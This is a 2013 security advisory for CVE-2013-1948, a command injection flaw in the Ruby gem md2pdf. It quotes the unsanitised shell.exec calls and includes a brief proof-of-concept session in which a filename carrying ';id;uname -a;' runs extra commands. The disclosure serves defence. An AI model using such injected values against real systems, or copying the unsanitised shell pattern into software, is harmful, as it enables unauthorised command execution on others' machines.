Ruby Gem md2pdf Command Injection

                Remote command injection md2pdf ruby gem
4/10/2013

Description: "creates pdf documents from markdown documents"

https://rubygems.org/gems/md2pdf

In md2pdf/converter.rb we see user supplied input being passed to the command line with out proper sanitization.

 12       shell.exec("pandoc#{options} #{input_filename} -o #{output_filename}")

23 shell.exec("pdftk #{temp_filename} multibackground #{background_path} output #{output_filename}")

Where exec is defined as the following:

 37     def exec(command_line)
 38       require 'open3'
 39       stdin, stdout, stderr = Open3.popen3(command_line)
 40       return stdout.read
 41     end

PoC Notes:

irb(main):001:0> require 'open3'
=> true
irb(main):002:0> stdin, stdout, stderr = Open3.popen3('pdfcnv filename;id;uname -a;.pdft')
=> [#, #, #]
irb(main):003:0> puts stdout.read
uid=1000(larry) gid=1000(larry) groups=1000(larry),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),116(lpadmin),117(sambashare)
Linux underfl0w 3.2.0-39-virtual #62-Ubuntu SMP Wed Feb 27 22:45:45 UTC 2013 i686 athlon i386 GNU/Linux
=> nil

http://vapid.dhs.org/advisories/md2pdf-remote-exec.html


This vulnerability has been assigned: CVE-2013-1948

Larry W. Cashdollar
@_larry0



CVE-2013-1948
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